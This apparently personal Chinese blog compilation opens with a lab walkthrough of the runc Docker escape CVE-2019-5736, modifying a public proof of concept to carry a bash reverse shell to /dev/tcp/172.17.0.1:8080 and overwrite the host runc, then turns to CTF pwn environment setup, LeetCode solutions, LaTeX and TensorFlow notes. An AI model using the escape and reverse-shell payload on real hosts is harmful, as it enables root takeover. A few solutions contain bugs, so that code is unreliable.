CVE-2019-5736是一个docker的逃逸漏洞,该漏洞是产生于runC容器的,RunC是最初作为docker的一部分开发的,用于处理与运行容器相关的任务。如创建容器、将进程附加到现有容器等。
在docker 18.09.2之前版本中使用了的runc版本小于1.0-rc6,所以会存在这个漏洞。当然不是docker只要用runc小于1.0-rc6,就会存在该漏洞。
该漏洞允许攻击者重写宿主机上的runc 二进制文件,导致攻击者可以在宿主机上以root身份执行命令。
找到了一个一键安装漏洞的脚本https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/
通过这个脚本会安装该版本的docker,以及一个对应的一个容器,
有一个go语言写的payload还是很清晰的
https://github.com/Frichetten/CVE-2019-5736-PoC
下载下来修改一下,把执行的payload改为反弹shell的payload
"#!/bin/bash \n bash -i >& /dev/tcp/172.17.0.1/8080 0>& 1 &\n"
并编译该paylaod
GO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
并将其复制到docker里
docker cp main ff0:/home
然后只要在docker中启动该程序,再在主机上监听端口,再启动这个容器时,就会反弹一个root权限的shell给主机的终端。
即,通过docker的逃逸得到了一个主机的shell
漏洞的存在原理在于/proc/pid/exe这个绑定的方式,/proc是比较熟知的一个概念,为一个虚拟文件系统,其中的文件能够显示当前的进程运行信息。/proc/pid/exe是一个程序链接,指向这个pid运行的程序。
而这个漏洞的利用方式就在于,在docker里查找到runc的exe,获取对应于该位置的一个文件句柄,然后向这个位置写入东西的话,就能够将宿主机的程序覆盖掉,然后用户下一次再要运行runc的时候,就会触发反弹shell。
当然一开始的时候这个文件本来是不可写的,但这个限制只这只存在于runC运行时,因而通过/proc/pid/exe持续保持一个指向该文件的指针,循环进行写入的申请。
可以看到,宿主机的docker-runc文件已经被覆盖掉了
pwn题目所涉及的libc版本多变,不同的版本添加了不同的安全策略,因而需要有不同的pwn方法。
pwn题目版本不同需要不同的运行环境和调试环境,此docker就是为此而设计。
目前已上传至dockerhub,61355ing /pwndocker,可通过docker pull 61355ing/pwndocker下载到,其工作目录为/ctf/workspace,其中包含了一些常用到的pwn题目的环境,如2.23_x64,2.27_x64之类的,为每个单独了一个文件夹,这个文件夹中装载了在gdb调试中所使用的该版本的符号环境。
网上找的个集成工具,这个是该项目https://github.com/skysider/pwndocker
docker pull skysider/pwndocker
sudo docker run -i -t –privileged -v /home/w1804/www:/var/www skysider/pwndocker bash
这个项目能把大多数的运行环境搭建起来了,但是还没有调试环境,用起来不方便。
error:
Error response from daemon: Get https://registry-1.docker.io/v2/: net/http: TLS handshake timeout
使用dig @114.114.114.114 registry-1.docker.io
找到一个可以ping通的地址,将其添加到/etc/hosts 里。
100.24.246.89 registry-1.docker.io
vim /etc/docker/daemon.json
{
"graph": "/mnt/docker-data",
"storage-driver": "overlay",
"registry-mirrors": ["https://registry.docker-cn.com"]
}
之后重启
service docker restart
systemctl restart docker
进入docker,为程序绑定运行时的库,
patchelf --set-interpreter /ctf/work/ld-linux-x86-64.so.2 printf
patchelf --set-rpath /ctf/work:/libc.so.6 printf
注意第二个是需要有冒号的,这两个命令也要添加到py里,就可以调试了
这就比较方便
在使用gdb调试的时候,如果是给的libc,就无法通过main_arena或者heapinfo查看堆的信息,因为libc缺少符号表,gdb加载不出来。这时候有一个方法能够调试起来,那就是编译库文件,然后将所有库文件放入到工作目录的.debug文件夹下。
https://github.com/matrix1001/glibc-all-in-one 这里有一个能够简洁编译glibc的项目,非常有帮助
python的 Python 的 dict 和 set 都是使用 hash 表实现的,查找操作复杂度为O(1)
而in list的复杂度为O(n)
def findRepeatNumber(self, nums: List[int]) -> int:
table = set()
for i in nums:
if i in table:
return i
else:
table.add(i)
数组横向递增纵向递增,所以删除第一个数大的行和最后一个数小的列
def findNumberIn2DArray(self, matrix: List[List[int]], target: int) -> bool:
i = len(matrix) - 1
j = 0
while i >= 0 and j < len(matrix[0]):
if matrix[i][j] > target: i -= 1
elif matrix[i][j] < target: j += 1
else: return True
return False
list.insert(0,xx),list.insert有一个可选参数是插入位置
但是速度很慢。只击败了54%。。但空间消耗很少,击败100%。。发现到现在还都是速度不到100%。。空间都是100%。。
# Definition for singly-linked list.
# class ListNode:
# def __init__(self, x):
# self.val = x
# self.next = None
class Solution:
def reversePrint(self, head: ListNode) -> List[int]:
list1 =[]
while head!=None:
list1.insert(0,head.val)
head = head.next
return list1
前序为 中左右,中序为 左中右,后序为 左右中
耗时又多了,空间还是击败100%。。
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution:
def buildTree(self, preorder: List[int], inorder: List[int]) -> TreeNode:
if len(preorder)<1:
return None
root = TreeNode(preorder[0])
root.left = self.buildTree(preorder[1:1+inorder.index(preorder[0])],inorder[0:inorder.index(preorder[0])])
root.right = self.buildTree(preorder[1+inorder.index(preorder[0]):],inorder[1+inorder.index(preorder[0]):])
return root
青蛙跳台阶问题
class Solution:
def fib(self, n: int) -> int:
if (n<2):
return n
n1=0
n2=1
for i in range(1,n):
ret = n1+n2
n1=n2
n2=ret
return ret%1000000007
第一次双100% !!
就是代码写的有点丑
class Solution:
def minArray(self, numbers: List[int]) -> int:
left = 0
right = len(numbers)-1
mid =1
while numbers[left]>=numbers[right]:
mid = int((left+right)/2)
if left==mid:
return numbers[right]
if (numbers[left]<numbers[mid]):
left=mid
elif numbers[left]==numbers[mid]:
left+=1
if (numbers[right]>numbers[mid]):
right = mid
elif numbers[right]==numbers[mid]:
right-=1
return numbers[left]
处理二进制就应该用位运算
class Solution:
def hammingWeight(self, n: int) -> int:
res=0;
while n>0:
res += n & 1
n >>= 1
return res
怎么剪绳子各段之积最大
从2到n找最大,知道乘积减小了,证明找到了最大值
class Solution:
def cuttingRope(self, n: int) -> int:
pres= 0
res= 1
i=1
while res>pres:
pres = res
i+=1
res = self.mnum(n,i)
return pres
def mnum(self,n,m):
c = n//m
d = n%m
res = 1
for i in range(m):
if d>0:
res*=(c+1)
d-=1
else:
res*=c
return res
二进制表示n,为1 的就乘上
class Solution:
def myPow(self, x: float, n: int) -> float:
res= 1.0
if n < 0:
x = 1/x
n = -n
while n > 0:
if n & 1:
res *=x
x *= x
n >>= 1
return res
我一开始用递归写的。。改了无数次。。结果时间只击败了5%,空间还是100%
class Solution:
def isMatch(self, s: str, p: str) -> bool:
s1=0
p1=0
while p1<len(p)-1:
if p[p1]=='.' and p[p1+1]=='*':
while s1<=len(s):
res = self.isMatch(s[s1:],p[p1+2:])
if res==True:
return True
s1+=1
return False
elif p[p1]=='.':
if s1>=len(s):
return False
return self.isMatch(s[s1+1:],p[p1+1:])
elif p[p1+1]=='*':
res = False
while s1<=len(s):
res = self.isMatch(s[s1:],p[p1+2:])
if res==True:
return True
if s1>=len(s):
break;
elif s[s1]!=p[p1]:
break;
s1+=1
return False
elif s1<len(s) and s[s1]==p[p1]:
s1+=1
p1+=1
else:
break
if len(p)==p1 and len(s)==s1:
return True
elif len(p)==p1 or len(s)==s1:
return False
if p[p1]==s[s1] and s1== len(s)-1:
return True
elif p[p1]=='.' and s1== len(s)-1:
return True
else:
return False
看大家的题解都是动态规划,也学着写了写
动态规划,将问题转化为数学问题的递推
用dp[i][j]
表示s的前i项和p的前j项是否匹配,
然后找每个dp和之前的dp的关系
class Solution:
def isMatch(self, s: str, p: str) -> bool:
s, p = '#'+s, '#'+p
m, n = len(s), len(p)
[[False for _ in range(n)] for _ in range(m)]
dp[0][0] = True
for i in range(m):
for j in range(1, n):
if i == 0:
dp[i][j] = j > 1 and p[j] == '*' and dp[i][j-2]
elif p[j] ==s[i] or p[j]=='.':
dp[i][j] = dp[i-1][j-1]
elif p[j] == '*':
dp[i][j] = j > 1 and dp[i][j-2]
if p[j-1] ==s[i] or p[j-1]=='.':
dp[i][j] |= dp[i-1][j]
else:
dp[i][j] = False
return dp[m-1][n-1]
网格里有橘子,每分钟烂橘子会将周围橘子变烂,问多少分钟后,橘子会烂完?或者橘子烂不完
这里首先将网络往外扩了一圈,用于减少之后的判断
class Solution:
def orangesRotting(self, grid: List[List[int]]) -> int:
ydo = 1
turn =-1
list22 =[]
listnull =[]
for j in range(len(grid[0])+2):
listnull.append(0)
for i in range(len(grid)):
for j in range(len(grid[i])):
if grid[i][j]==2:
list22.append((i+1,j+1))
grid[i].insert(0,0)
grid[i].append(0)
grid.append(listnull)
grid.insert(0,listnull)
while ydo:
ydo=0
turn+=1
len2= len(list22)
for _ in range(len2):
i,j = list22[0][0],list22[0][1]
if grid[i][j-1]==1:
grid[i][j-1]=2
list22.append((i,j-1))
ydo=1
if grid[i-1][j]==1:
grid[i-1][j]=2
list22.append((i-1,j))
ydo=1
if grid[i+1][j]==1:
grid[i+1][j]=2
list22.append((i+1,j))
ydo=1
if grid[i][j+1]==1:
grid[i][j+1]=2
list22.append((i,j+1))
ydo=1
del list22[0]
for i in range(len(grid)):
for j in range(len(grid[i])):
if grid[i][j]==1:
return -1
return turn
又一次双百,用数列求和来算,对偶数2n,为target%2n==n时是能够得到序列,target%(2n+1)==0时为能够得到,还要注意序列不能为0开始
class Solution:
def findContinuousSequence(self, target: int) -> List[List[int]]:
res = []
n=1
while (1+2*n)*n <= target:
if target%(2*n)==n:
left = target//(2*n)-n+1
res1 = [ _ for _ in range(left,left+2*n)]
res.insert(0,res1)
if target%(2*n+1)==0:
left = target//(2*n+1)-n
if left>0:
res1 = [_ for _ in range(left,left+2*n+1)]
res.insert(0,res1)
n+=1
return res
此处给出的是官网的,不是我写的,因为其非常直白的表现了python在字符串处理上的优点。
class Solution:
def gcdOfStrings(self, str1: str, str2: str) -> str:
for i in range(min(len(str1), len(str2)), 0, -1):
if (len(str1) % i) == 0 and (len(str2) % i) == 0:
if str1[: i] * (len(str1) // i) == str1 and str1[: i] * (len(str2) // i) == str2:
return str1[: i]
return ''
数组中不连续的最长上升子序列,要求复杂度O(nlogn0),考虑用辅助数组。
class Solution:
def lengthOfLIS(self, nums: List[int]) -> int:
if not nums: return 0
dp = [1 for _ in len(nums)]
for i in range(len(nums)):
for j in range(i):
if nums[j] < nums[i]:
dp[i] = max(dp[i], dp[j] + 1)
return max(dp)
用给的字符串里的字符拼单词,返回能拼的单词的总长度
官网题解是给的Counter,比我的慢一倍多。。
class Solution:
def countCharacters(self, words: List[str], chars: str) -> int:
chlist = [0 for _ in range(26)]
wolist = [0 for _ in range(26)]
res = 0
for c in chars:
chlist[ord(c)-ord('a')]+=1
for word in words:
for i in range(26):
wolist[i]=0
flag=1
for w in word:
r = ord(w)-ord('a')
wolist[r]+=1
if wolist[r]>chlist[r]:
flag=0
break;
if flag==1:
res+=len(word)
return res
写论文怎么能不用latex呢,所以来用一用latex,排版比较美观也是。
latex竟然需要编译。。看起来和md很像。
首先要安环境,TeX Live
清华镜像站 https://mirrors.tuna.tsinghua.edu.cn/CTAN/systems/texlive/Images/texlive.iso
右键管理员运行install-tl-advanced.bat
安装时注意将安装TeXworks前端和After installation, get package update from CTAN点否,然后上面还有纸张的选项,如我选的latter
编译器https://sourceforge.net/projects/texstudio/files/latest/download
段落前加 \noindent
加粗 \textbf{文字}
斜体 \emph{文字}
下划线 \underline{文字}
前加 \ 可以打出特殊意义的字符,如 _ ,&
网上写的是$ xxx $这样两个$框起来,但是不居中
实际上写公式的时候\begin{equation} \end{equation},这样就是居中的了,还在后面有标号。
latex有自己的希腊字母表示法,是 \ 开头的一串字母,可参考下面这个
https://blog.csdn.net/xxzhangx/article/details/52778539
图片要大小设置为相同,所以要进行调整
\begin{figure}[htbp] \centerline{\includegraphics[width=0.45\textwidth]{fig1.png}} \caption{aaaa.} \label{fig1} \end{figure}
如这样,就可以将其设置在双栏中,自动调整大小
使用Xelatex处理中文
options->Build->Default Compile , Xelatex
罗马体、打字机字体、无衬线字体
\textrm{Roman Family} \texttt{Typewriter Family} \textsf{Sans Serif Family}
字体声明也可以 为\rmfamily
一次字体声明后会作用于后面所有,除非遇到新的可以使用大括号限制作用域
\ttfamily xxx
{\sffamily xxx}
正文字体编码 OT1、T1、EU1等
数学字体编码 OML、OMS、OMX等
设置字体的粗细和宽度
\textmd{Medium Series}
斜体、伪斜体、小型大写等
字体设置命令和声明也可
中文粗体是黑体,斜体是楷书
字号
可在\documentclass[10pt]{article}中设置文档默认大小
\newcommand\degree{^circ} 定义角度符号
命令行texdoc ctex 打开宏包手册
从网上下载模板的时候,会发现大多会给自己实现的库,这些库为
今天启动vmware的时候,突然弹出来一个框告诉我这个,然后查的也没人写过禁用怎么办,所以记录一下。
首先是windows +r 在运行菜单输入services.msc ,打开服务项管理。
找到VMware Authorization Service,这里此时是禁用
双击把其修改为自动或手动,应用启动确定应该就成了,但我应用时弹出了禁止访问,有的博客写了有这种情况,但没写怎么解决。
这应该是由于杀毒软件将其禁用了的关系,在其中找到改成允许启动就好了。
我用的火绒是在启动项管理->服务项里要进行的修改。
主要在于设置GPU内存使用
最近模型总是把内存跑满。。这不行啊。别人没法用了,所以做一些设置。
os.environ['CUDA_VISIBLE_DEVICES']='1'
config = tf.compat.v1.ConfigProto(allow_soft_placement=True)
config.gpu_options.per_process_gpu_memory_fraction = 0.5
config.gpu_options.allow_growth=True
sess =tf.compat.v1.Session(config=config)
从上到下依次是:
设置使用的显卡编号
初始化设置信息
配置gpu最大使用上限
配置动态增长
配置设置